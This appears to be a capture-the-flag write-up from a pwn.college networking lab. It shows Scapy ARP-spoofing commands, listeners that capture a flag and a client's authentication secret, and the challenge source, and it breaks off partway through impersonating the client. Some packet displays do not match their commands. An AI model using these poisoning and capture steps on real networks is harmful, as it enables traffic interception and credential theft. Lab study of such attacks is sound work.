First, we have to send an ARP request to the client at 10.0.0.2 and retrieve its MAC address.

>>> (Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="10.0.0.2")).display()
###[ Ethernet ]###
dst = ff:ff:ff:ff:ff:ff
src = 32:c6:78:97:5b:7e
type = ARP
###[ ARP ]###
hwtype = Ethernet (10Mb)
ptype = IPv4
hwlen = None
plen = None
op = who-has
hwsrc = 32:c6:78:97:5b:7e
psrc = 10.0.0.1
hwdst = 00:00:00:00:00:00
pdst = 10.0.0.2
>>> srp1(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="10.0.0.2"), timeout=1).hwsrc
Begin emission

Finished sending 1 packets
*
Received 1 packets, got 1 answers, remaining 0 packets
'ee:03:45:31:47:c7'

Then we spoof an ARP request to 10.0.0.2 claiming that we are 10.0.0.3, the intended server.

>>> (Ether(dst="ee:03:45:31:47:c7", src="b2:58:67:a3:8a:0a") / ARP(op="is-at", hwsrc="b2:58:67:a3:8a:0a", psrc="10.0.0.3", hwdst="ee:03:45:31:47:c7", pdst="10.0.0.2")).display()
###[ Ethernet ]###
dst = ee:03:45:31:47:c7
src = b2:58:67:a3:8a:0a
type = ARP

###[ ARP ]###
hwtype = Ethernet (10Mb)
ptype = IPv4
hwlen = None
plen = None
op = is-at
hwsrc = b2:58:67:a3:8a:0a
psrc = 10.0.0.3
hwdst = ee:03:45:31:47:c7
pdst = 10.0.0.2
>>> sendp(Ether(dst="ee:03:45:31:47:c7", src="b2:58:67:a3:8a:0a") / ARP(op="is-at", hwsrc="b2:58:67:a3:8a:0a", psrc="10.0.0.3", hwdst="ee:03:45:31:47:c7", pdst="10.0.0.2"), iface="eth0", count=5)
.....
Sent 5 packets.

Now, we have to manually add 10.0.0.3 to our interface so we could receive traffic destined for the spoofed server.

root@ip-10-0-0-1:/# ip addr add 10.0.0.3/24 dev eth0

Finally, we just have to set up a listener and listen for the flag.

~/script.py
import socket

s = socket.socket()
s.bind(("10.0.0.3", 31337))
s.listen(1)

print("[+] Waiting for connection...")
conn, _ = s.accept()
flag = conn.recv(1024).decode()
print(f"[*] Got flag: {flag}")
root@ip-10-0-0-1:/# python ~/script.py
[=] Waiting for connection...
[*] Got flag: pwn.college{k6oBuh4NgwdU9ydZFC5jOJDksKR.dFzNzMDL4ITM0EzW}

OR

root@ip-10-0-0-1:/# nc -lvp 31337 -s 10.0.0.3
nc: getnameinfo: Temporary failure in name resolution
nc: getnameinfo: Temporary failure in name resolution
pwn.college{k6oBuh4NgwdU9ydZFC5jOJDksKR.dFzNzMDL4ITM0EzW}

 

Man-in-the-Middle

Man-in-the-middle traffic from a remote host. The remote host at 10.0.0.2 is communicating with the remote host at 10.0.0.3 on port 31337.

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import multiprocessing
import os
import socket
import time

import psutil
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class AuthenticatedClientHost(Host):
def entrypoint(self):
while True:
try:
client_socket = socket.socket()
client_socket.connect(("10.0.0.3", 31337))

assert client_socket.recv(1024) == b"secret: "
secret = bytes(server_host.secret) # Get the secret out-of-band
time.sleep(1)
client_socket.sendall(secret.hex().encode())

assert client_socket.recv(1024) == b"command: "
time.sleep(1)
client_socket.sendall(b"echo")
time.sleep(1)
client_socket.sendall(b"Hello, World!")
assert client_socket.recv(1024) == b"Hello, World!"

client_socket.close()
time.sleep(1)

except (OSError, ConnectionError, TimeoutError, AssertionError):
continue

class AuthenticatedServerHost(Host):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.secret = multiprocessing.Array("B", 32)

def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen()
while True:
try:
connection, _ = server_socket.accept()

self.secret[:] = os.urandom(32)
time.sleep(1)
connection.sendall(b"secret: ")
secret = bytes.fromhex(connection.recv(1024).decode())
if secret != bytes(self.secret):
connection.close()
continue

time.sleep(1)
connection.sendall(b"command: ")
command = connection.recv(1024).decode().strip()

if command == "echo":
data = connection.recv(1024)
time.sleep(1)
connection.sendall(data)
elif command == "flag":
time.sleep(1)
connection.sendall(flag.encode())

connection.close()
except ConnectionError:
continue

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
client_host = AuthenticatedClientHost("ip-10-0-0-2")
server_host = AuthenticatedServerHost("ip-10-0-0-3")
network = Network(hosts={user_host: "10.0.0.1",
client_host: "10.0.0.2",
server_host: "10.0.0.3"},
subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())
root@ip-10-0-0-1:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.0.1 netmask 255.255.255.0 broadcast 0.0.0.0
inet6 fe80::78a9:daff:fe11:a0a1 prefixlen 64 scopeid 0x20<link>
ether 7a:a9:da:11:a0:a1 txqueuelen 1000 (Ethernet)
RX packets 32 bytes 2588 (2.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 8 bytes 656 (656.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

Pretending to be the server

Find MAC address of client at 10.0.0.2.

>>> (Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="10.0.0.2")).display()
###[ Ethernet ]###
dst = ff:ff:ff:ff:ff:ff
src = 62:36:34:95:d8:db
type = ARP
###[ ARP ]###
hwtype = Ethernet (10Mb)
ptype = IPv4
hwlen = None
plen = None
op = who-has
hwsrc = 62:36:34:95:d8:db
psrc = 10.0.0.1
hwdst = 00:00:00:00:00:00
pdst = 10.0.0.2
>>> srp1(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="10.0.0.2"), timeout=1, iface="eth0").hwsrc
Begin emission

Finished sending 1 packets
*
Received 1 packets, got 1 answers, remaining 0 packets
'66:2d:54:5c:08:60'

Then we spoof an ARP request to 10.0.0.2 claiming that we are 10.0.0.3, the intended server.

>>> (Ether(dst="66:2d:54:5c:08:60", src="7a:a9:da:11:a0:a1") / ARP(op="is-at", hwsrc="7a:a9:da:11:a0:a1", psrc="10.0.0.3", hwdst="66:2d:54:5c:08:60", pdst="10.0.0.2")).display()
###[ Ethernet ]###
dst = c2:cd:39:4e:71:9f
src = 62:36:34:95:d8:db
type = ARP
###[ ARP ]###
hwtype = Ethernet (10Mb)
ptype = IPv4
hwlen = None
plen = None
op = is-at
hwsrc = 62:36:34:95:d8:db
psrc = 10.0.0.3
hwdst = c2:cd:39:4e:71:9f
pdst = 10.0.0.2
>>> sendp(Ether(dst="66:2d:54:5c:08:60", src="7a:a9:da:11:a0:a1") / ARP(op="is-at", hwsrc="7a:a9:da:11:a0:a1", psrc="10.0.0.3", hwdst="66:2d:54:5c:08:60", pdst="10.0.0.2"), iface="eth0", count=5)
.....
Sent 5 packets.

Now, let's add 10.0.0.3 to our eth0 interface.

root@ip-10-0-0-1:/# ip addr add 10.0.0.3/24 dev eth0

Finally, we have to set up a listener in order to capture the secret from the client.

~/script.py
import socket

s = socket.socket()
s.bind(("10.0.0.3", 31337))
s.listen(1)

print("[+] Waiting for connection from client...")
conn, _ = s.accept()
print("[+] Got connection!")

print("[+] Sending secret prompt...")
conn.sendall(b"secret: ")

# Now the client will send the secret
print("[+] Receiving secret...")
secret_data = conn.recv(1024)

if not secret_data:
print("[!] Didn't receive anything from client!")
conn.close()
exit()

secret_hex = secret_data.decode().strip()
print(f"[+] Captured secret: {secret_hex}")

try:
secret = bytes.fromhex(secret_hex)
print(f"[+] Parsed secret: {secret.hex()}")
except Exception as e:
print(f"[!] Failed to decode hex: {e}")

conn.close()
root@ip-10-0-0-1:/# python ~/script.py
[+] Waiting for connection from client...
[+] Got connection!
[+] Sending secret prompt...
[+] Receiving secret...
[+] Captured secret: f9a5f8d3783f21fb271a3d912210cc4465152a08abe612aee6aef206036d2042
[+] Parsed secret: f9a5f8d3783f21fb271a3d912210cc4465152a08abe612aee6aef206036d2042

Pretending to be the client

Find MAC address of server at 10.0.0.3.

>>> (Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="10.0.0.3")).display()
###[ Ethernet ]###
dst = ff:ff:ff:ff:ff:ff
src = 62:36:34:95:d8:db
type = ARP
###[ ARP ]###
hwtype = Ethernet (10Mb)
ptype = IPv4
hwlen = None
plen = None
op = who-has
hwsrc = 62:36:34:95:d8:db
psrc = 10.0.0.1
hwdst = 00:00:00:00:00:00
pdst = 10.0.0.2
>>> srp1(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="10.0.0.3"), timeout=1, iface="eth0").hwsrc
Begin emission
.
Finished sending 1 packets
...................*
Received 21 packets, got 1 answers, remaining 0 packets
'da:8d:95:a7:ed:89'

Then we spoof an ARP request to 10.0.0.3 claiming that we are 10.0.0.2, the client.

>>> (Ether(dst="da:8d:95:a7:ed:89", src="7a:a9:da:11:a0:a1") / ARP(op="is-at", hwsrc="7a:a9:da:11:a0:a1", psrc="10.0.0.2", hwdst="da:8d:95:a7:ed:89", pdst="10.0.0.3")).display()
###[ Ethernet ]###
dst = da:8d:95:a7:ed:89
src = 7a:a9:da:11:a0:a1
type = ARP
###[ ARP ]###
hwtype = Ethernet (10Mb)
ptype = IPv4
hwlen = None
plen = None
op = is-at
hwsrc = 7a:a9:da:11:a0:a1
psrc = 10.0.0.2
hwdst = da:8d:95:a7:ed:89
pdst = 10.0.0.3
>>> sendp(Ether(dst="da:8d:95:a7:ed:89", src="7a:a9:da:11:a0:a1") / ARP(op="is-at", hwsrc="7a:a9:da:11:a0:a1", psrc="10.0.0.2", hwdst="da:8d:95:a7:ed:89", pdst="10.0.0.3"), iface="eth0", count=5)
.....
Sent 5 packets.

Next, we have to assign 10.0.0.2 to our eth0 interface.

root@ip-10-0-0-1:/# ip addr add 10.0.0.2/24 dev eth0